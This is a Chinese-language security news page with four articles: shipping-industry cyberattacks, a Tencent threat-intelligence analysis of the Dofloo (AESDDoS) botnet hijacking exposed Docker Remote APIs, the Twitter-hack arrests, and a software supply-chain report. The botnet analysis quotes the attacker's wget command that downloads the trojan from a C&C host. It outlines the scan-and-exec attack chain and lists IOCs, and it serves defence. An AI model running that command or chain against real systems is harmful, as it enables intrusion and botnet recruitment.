分类: 网络攻击

全球航运业一周内遭遇第二次网络攻击 引发供应链中断担忧

据报道,全球航运业在一周内遭受了第二次网络攻击,这引发了人们对供应链中断的担忧。目前,这些供应链已经十分紧张,可能无法在消费者需求的传统旺季及时运送商品。国际海事组织(International Maritime Organization)周四发表声明说,该组织的IT系统遭受了一次复杂的网络攻击。 国际海事组织是联合国旗下的一个海事行业监管机构,组织表示,目前一些网络服务无法使用,网络入侵正在影响他们的公共网站和内部系统。 本周早些时候,全球运力第四大集装箱班轮公司达飞海运(CMA CGM SA)披露,其信息系统受到了攻击。达飞海运星期四表示,公司各办事处“正在逐步重新连接到网络,以提高了预订和文件处理的时间。” 达飞海运在一份电子邮件声明中表示:“我们怀疑这是一次数据泄露,我们正在尽一切可能评估其潜在规模和性质。”据Alphaliner的数据,达飞海运是全球五大集装箱班轮之一,其运力占全球的65%。 近年来,一系列网络事件困扰着航运业,其中最大的一起是2017年的网络入侵,导致总部位于哥本哈根的马士基公司损失了约3亿美元。 网络安全公司Pen Test Partners的安全专家肯·芒罗(Ken Munro)表示:“马士基事件显然引起了骗子和网络罪犯的注意,他们意识到航运业受到了严重冲击。如果岸上的系统无法预订集装箱,船只就无法装载货物,也就无法产生收入。因此,针对航运公司的网络攻击对勒索软件运营商来说是有利可图的。” 虽然暂时并不能肯定,最近的网络攻击会对全球贸易造成短暂的刺激,还是会引发更大范围的破坏。但物流专家李·克拉斯科夫(Lee Klaskow)表示:“网络威胁短期内肯定会带来不利影响,让人头疼。” 对于那些仍在等待季节性周期恢复正常的航运公司来说,最近网络攻击行动发生的时机尤其糟糕。 由于消费者被迫在家工作、在网上购买必需品,从纸巾、口罩到蹦床和电脑显示器等各种物品的供应链都很紧张。此外,由于电子商务采购依然强劲,企业也在补充库存,货主对供应链的需求并未减少,但运力却在下降。因此,自今年年初以来,跨越太平洋运输集装箱的基准成本增加了两倍。     (稿源:cnBeta,封面源自网络。)

Dofloo(AESDDoS)僵尸网络正批量扫描、攻击 Docker 容器

感谢腾讯御见威胁情报中心来稿! 原文链接:https://mp.weixin.qq.com/s/ceNfVRneGGIkbFOqItU11g  一、概述 腾讯安全威胁情报中心检测到Dofloo(AESDDoS)僵尸网络正批量扫描和攻击Docker容器。部分云主机上部署的Docker容器没有针对远程访问做安全认证,存在Remote API允许未授权使用漏洞且暴露在公网,导致黑客通过漏洞入侵并植入Dofloo僵尸网络木马。 云计算兴起后,服务器硬件扩展非常便利,软件服务部署成为了瓶颈,Docker作为开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器,因而逐渐得到广泛应用。 而开发者在部署Docker时未对相关服务进行正确合理的配置导致其容易成为黑客入侵的路径之一,之前已有H2Miner利用Docker漏洞进行入侵挖矿的案例被披露(https://mp.weixin.qq.com/s/iNq8SdTZ9IrttAoQYLJw5A)。此次Dofloo僵尸网络入侵系统后,会搜集系统敏感信息并加密上传,接收C&C服务器指令,执行各类DDoS攻击。 腾讯安全系列产品已支持检测Dofloo(AESDDoS)僵尸网络的最新变种,企业安全运维人员如果发现已经中招,可对照分析报告的详细内容,将攻击者下载安装的文件和启动项删除,再参考以下安全响应清单进行排查,修复Remote API允许未授权使用的漏洞,避免再次遭遇入侵。 具体响应清单如下: 应用 场景 安全产品 解决方案 威 胁 情 报 腾讯T-Sec 威胁情报云查服务 (SaaS) 1)Dofloo僵尸网络相关IOCs已入库。 各类安全产品可通过“威胁情报云查服务”提供的接口提升威胁识别能力。可参考:https://cloud.tencent.com/product/tics 腾讯T-Sec 高级威胁追溯系统 1)Dofloo僵尸网络相关信息和情报已支持检索。 网管可通过威胁追溯系统,分析日志,进行线索研判、追溯网络入侵源头。T-Sec高级威胁追溯系统的更多信息,可参考:https://cloud.tencent.com/product/atts 云原生安全 防护 云防火墙 (Cloud Firewall,CFW) 基于网络流量进行威胁检测与主动拦截,已支持: 1)Dofloo僵尸网络关联的IOCs已支持识别检测; 2)检测Docker未授权访问漏洞利用攻击。   有关云防火墙的更多信息,可参考: https://cloud.tencent.com/product/cfw 腾讯T-Sec  主机安全 (Cloud Workload Protection,CWP) 1)已支持查杀Dofloo僵尸网络相关木马程序; 2)已支持Docker Daemon 2375管理端口开启的风险项检测。 腾讯主机安全(云镜)提供云上终端的防毒杀毒、防入侵、漏洞管理、基线管理等。关于T-Sec主机安全的更多信息,可参考:https://cloud.tencent.com/product/cwp 腾讯T-Sec 安全运营中心 基于客户云端安全数据和腾讯安全大数据的云安全运营平台。已接入腾讯主机安全(云镜)、腾讯御知等产品数据导入,为客户提供漏洞情报、威胁发现、事件处置、基线合规、及泄漏监测、风险可视等能力。 关于腾讯T-Sec安全运营中心的更多信息,可参考:https://s.tencent.com/product/soc/index.html 非云企业安全防护 腾讯T-Sec 高级威胁检测系统 (腾讯御界) 1)已支持通过协议检测Dofloo僵尸网络与服务器的网络通信; 2)检测Docker未授权访问漏洞利用攻击; 3)检测DDoS攻击流量;   关于T-Sec高级威胁检测系统的更多信息,可参考: https://cloud.tencent.com/product/nta 二、样本分析 在此次攻击中,攻击者首先通过向端口2375(与Docker守护进程通信的默认端口)发送TCP SYN数据包对给定的IP范围进行批量扫描。确定开放端口的目标IP后,发送请求调用/containers/json接口获取正在运行中的容器列表,之后使用Docker EXEC命令执行以下shell访问公开主机中所有正在运行的容器并下载木马Linux2.7。 获取容器列表: 针对运行状态的容器利用Docker EXEC执行木马下载命令: wget -P /tmp/ http[:]//49.235.238.111:88/Linux2.7 被下载的Dofloo僵尸网络木马Linux2.7会连接到49.235.238.111:48080来发送和接收来自攻击者的远程shell命令。 Dofloo僵尸网络还会在从被感染系统窃取信息,包括操作系统版本,CPU型号、速度和类型。 通过将自身路径写入/etc/rc.local、/etc/rc.d/rc.local、/etc/init.d/boot.local文件中以添加为自启动项。 使用AES算法对窃取的系统信息和命令和控制(C&C)数据进行加密。 此Dofloo变种能够发起各种类型的DDoS攻击,包括DNS、SYN,LSYN,UDP,UDPS,TCP和CC Flood。 IOCs C&C 49.235.238.111:48080 175.24.123.205: 48080 IP 49.235.238.111 89.40.73.126 175.24.123.205 URL http[:]//49.235.238.111[:]88/Linux2.7 http[:]//49.235.238.111/Lov.sh http[:]//49.235.238.111/lix http[:]//49.235.238.111/Verto http[:]//49.235.238.111[:]88/NgYx http[:]//49.235.238.111/linux-arm http[:]//49.235.238.111/shre.sh http[:]//89.40.73.126[:]8080/Linux2.7 http[:]//89.40.73.126/linux2.6 http[:]//89.40.73.126[:]8080/linux-arm http[:]//89.40.73.126[:]8080/Linux2.6 http[:]//89.40.73.126[:]8080/YmY http[:]//89.40.73.126[:]8080/LTF http[:]//89.40.73.126[:]8080/NgYx http[:]//89.40.73.126[:]8080/Mar http[:]//89.40.73.126[:]8080/linux2.6 http[:]//89.40.73.126[:]8080/Flood http[:]//175.24.123.205:88/Fck MD5 Flood 0579a022802759f98bfdf08e7dd16768 Linux2.7 0b0f1684f6791d9f8c44a036aa85a2cc lix 9530e46caab834e1e66a108e15ea97ca linux-arm ca1f347447ddf7990ccd0d6744f3545d Linux 05f28784a0da0c1e406d98c02dc7d560 arm 34eeb9eaa65c4a062311a886dd0157f1 Fck df86da9e341c3a9822f30ac4eba11951 Lov.sh 83caa873cee081162c417eb8dec4a351 Rze.sh 48c910cd9a07404fbfb8bf52847e72c3 SHre.sh bb7cdf5707a857036cd41af4bafaed31 参考链接: https://www.trendmicro.com/en_us/research/19/f/aesddos-botnet-malware-infiltrates-containers-via-exposed-docker-apis.html https://github.com/SPuerBRead/Docker-Remote-API-Exploit/blob/master/dockerAPI_Exploit.py

推特攻击事件又一主犯落网:来自马萨诸塞州的 16 岁少年

美国联邦当局近日又锁定了一位来自马萨诸塞州的 16 岁少年,指控他在今年 7 月发生的严重攻击事件中扮演重要角色。今年 7 月,当地警方逮捕了 17 岁的格雷厄姆·克拉克(Graham Clark of Tampa)在内的三名嫌犯,指控克拉克是本次攻击的幕后主谋。 图片为17 岁的格雷厄姆·克拉克 援引纽约时报报道,联邦特工已经确定了另一位在本次推特攻击事件中扮演更重要角色的少年。这位尚未公布姓名的少年似乎在今年 5 月与克拉克一起参与了推特攻击的策划活动。 根据纽约时报报道,这名来自马萨诸塞州的 16 岁少年还可能利用 vishing(语音钓鱼)技术入侵了该社交媒体平台更为敏感的后台系统。 7月15日,这两名少年伙同其他几名嫌犯利用窃取的推特员工凭证,发起了一场大规模的比特币骗局,利用Joe Biden, Apple, Elon Musk 和 Kanye West 等知名账号进行诈骗。     (稿源:cnBeta,封面源自网络。)

开源和云原生带来的下一代软件供应链,正面临新的攻击

恶意网络攻击者对软件供应链的攻击,正向“上游”组件蔓延,再借助开源软件的“信任链”和影响力,导致的结果之一就是破坏性更大。Sonatype 的《2020软件供应链报告》报告提出,下一代软件供应链攻击正在到来,显著特点就是刻意针对“上游”开源组件,进行更主动的攻击。而此类攻击出现的背景正是开源组件和容器的广泛采用。 软件供应链及攻击 软件供应链一词常出现在科技公司和研究人员的表述中,Dell EMC 的产品管理总监 John Mark Walker 曾通过对比硬件供应链,描述传统软件供应链。 他认为,硬件的供应链是来源于不同地区的、许多不同合作伙伴的零部件,传统软件供应链大多是定义企业内部制作软件,以及从第三方获得一些商业软件的过程。在此模式下,供应链上的大部分来源于公司内部,可能来自多个工程团队,一小部分软件来源于公司外部,因此供应链主要由内部产品定义,工程团队负责管理。另外来自第三方供应商的软件在组合时需要做合规检查,获得许可。 (简单的、一般的传统软件供应链) 另一个流传较广的定义是按照阶段划分,认为软件供应链通常包括三个阶段:软件研发阶段、软件交付阶段、软件使用阶段。 这种划分通常也有助于区分不同种类的软件供应链攻击,许多大型科技公司对此都有专门的讨论。腾讯安全平台曾总结软件供应链攻击环节,阿里巴巴的工程师也曾例举不同阶段的攻击面: 一是生产节点被攻击,包括软件开发涉及到的软硬件开发环境、开发工具、第三方库、软件开发实施等等,软件开发实施的具体过程还包括需求分析、设计、实现和测试等,软件产品在这一环节中形成最终用户可用的形态。软件研发阶段的攻击面包括 IDE 开发工具污染攻击、三方库漏洞和后门攻击、直接源码污染攻击。 二是交付阶段,交付节点被攻击,如软件上线的平台、硬件。用户通过软件官网、公共仓库、在线商店、免费网络下载、购买软件安装光盘等存储介质、资源共享等方式获取到所需软件产品的过程。受攻击对象比如著名的软件下载站、Python 官方镜像源、Github 等。 攻击面如软件存储替换和篡改攻击、传输劫持和捆绑下载攻击。 三是软件使用阶段,使用节点即软硬件的使用者被攻击。使用软硬件产品的整个生命周期,包括产品更新升级、维护等过程。 攻击面包括升级劫持污染攻击、运行环境后门和了漏洞攻击、三方库 0Day 漏洞攻击。 以上是从定义方面,较为宽泛地看传统软件供应链以及一般软件供应链攻击。但随着云原生和开源的发展,一些新的看法与攻击出现了。 开源与云原生时代的软件供应链 前文 John Mark Walker 所说的传统软件供应链,是在对比包含更多开源组件的软件供应链。John Mark Walker 认为,随着开源软件应用在增多,情况已经变得混乱了:未经验证的许可证、未经测试的仓库、以及狂野的开发者,这些要素使得软件供应链看上去似乎不可管理。开源导致至少增加了一个额外的层次: 某个角度看,开源组件插入到产品中,和第三方商业组件插入到产品中,并没有本质差别。但实际上,关于上游开源组件,多数源代码仓库没有任何商业保证。此时要么是建立自己内部的审核代码和应用产品管理流程的方法,或者是靠中间厂商,即采用开源软件的商业发行版,如 RedHat 和 SUSE 提供的 Linux 企业版产品。 与开源密切相关,并改变传统软件供应链的还有云原生。容器概念和 Docker、Kubernetes 等项目的出现,改变了软件的交付方式,进而影响到软件供应链。 阿里技术团队曾总结容器和 Kubernetes 的引入带来的安全软件供应链管理变化: 发布和迭代更加频繁,容器的易变性也使得安全风险稍纵即逝; 更多的不可控三方依赖,一旦一个底层基础镜像有了安全漏洞,会向病毒一样传递到上层; 更大范围的全球快速分发,在分发过程中的攻击也会使得在末端执行的时造成大规模安全风险。 《2020软件供应链报告》中提到的“下一代软件供应链”攻击的变化,也正是基于开源和与原生的发展——下一代软件攻击数量激增的背景是,开源加速了创新,也带来大规模的使用,到2020年,世界各地的开发者对开源软件组件和容器的需求,将超过1.5万亿个。同时,攻击也正在积极针对开源项目。 下一代软件供应链攻击已主动向“上游”感染 供应链成为攻击媒介已经不是新发现了。Symantec 的调查显示,2017年供应链网络攻击激增200%;2018年,CrowdStrike 的供应链安全性调查结果显示,80%的 IT 专业人员认为软件供应链攻击将是企业组织在未来三年中将面临的最大网络威胁之一…… 这次的《2020软件供应链报告》提出了“下一代”的软件供应链攻击正在到来,特点是攻击更加主动,波及范围更广。 数据显示,在过去12个月,旨在大举渗透开源的下一代网络攻击数量增加了430%。攻击者正在利用软件供应链达成杠杆和规模效应。同时,下一代的软件供应链攻击更加险恶,因为攻击者不再是等待公开披露的开发源码漏洞,而是主动、积极地将恶意代码注入为全球供应链提供信息的开源项目,通过感染“上游”组件,向“下游”扩散。 出现此种情况的可能原因有三个: 开源项目是协作的,有时难区分良好和恶意的社区成员; 开源项目通常包含来自其他开源项目成百上千的依赖项,依赖项中可能含有已知漏洞; 开源精神是建立在全球社区的“共同信任”之上,这便于攻击者轻松达成目的。 最常见的是类型攻击,这是一种间接攻击向量。此类攻击在搜索流行组件时攻击开发人员,是他们犯一些无辜的错误。如开发人员想要获取“Iodash”源代码,却意外地输入了“Iodahs”,那么他们可能会意外地安装一个名称类似的恶意组件。 另一常见的是恶意代码注入。如今年5月,GitHub 安全博客警告了针对 Apache NetBeans IDE 项目的开源供应链攻击 Octopus Scanner。最终统计显示,有26个开源项目被植入了 Octopus Scanner 后门。一旦感染,恶意程序会寻找用户开发系统上的 NetBeans 项目,然后将恶意负荷嵌入项目文件,每次构建都会执行恶意负荷。 如何使开源软件供应链更可信 事实上,随着软件供应链攻击的增加,企业和开发者也需要做些什么来保障安全,提高软件供应链的可信度。 《2020软件供应链报告》认为,选择开源项目应该是企业软件开发团队的重要战略决策。包括识别模范的开源供应商,具有更新依赖性的项目更加安全。报告建议项目团队应该力争每年至少发布4个版本,并在每个版本中升级至少80%的依赖项,更高频率的依赖更新会带来更高的质量和更安全的代码。 报告还指出,面对更加恶意的软件供应链攻击,防御的速度仍是关键。一直以来,所有开发者和企业都牢记面对恶意攻击时,要积极响应。不过该报告此处尤指开源软件,组织必须建立起一个“快速升级态势”,这样他们就可以通过发现和修复生产应用程序中、脆弱的开源依赖关系,来快速响应新的漏洞披露。 除了报告中提到的“快速升级态势”,态势感知也是近年来常被用于确保网络安全的方式。 “态”强调当前状态,“势”强调未来发展的趋势。网络安全领域的态势感知,最重要的是全局视角提升对威胁的发现识别、理解分析、响应处置。态势感知基于基于环境的、动态、整体地洞悉风险的能力,以大数据为基础,最终是为了决策与行动,是预测能力的落地,也可看做一种“事前”发现的方式。 具体方式包括通过收集云上安全组件信息、关联分析组件提供的海量日志等,全面感知威胁,得出可被理解的安全事件。又或是通过人工智能技术,深度挖掘数据,预测云上资产可能面临的风险。 最后报告再次提及开源及其安全的重要度:10个开源软件下载中有1个是脆弱的,而开源组件占到了现代应用的90%。其研究发现生产力不一定要以降低安全性为代价。在供应端,通过对部分开源项目的研究发现,频繁的代码更新、依赖更新和发布会带来更好的结果,更新越频繁,开源项目通常越安全。 综上,无论是供应端还是需求端,建议都是快速行动,包括快速更新、快速应对。开源或许在某种层面上导致风险更大,但合理利用开源的协同开发,快速发布,也是解决这些风险的绝佳方式。     (稿源:OSCHINA,封面来自网络)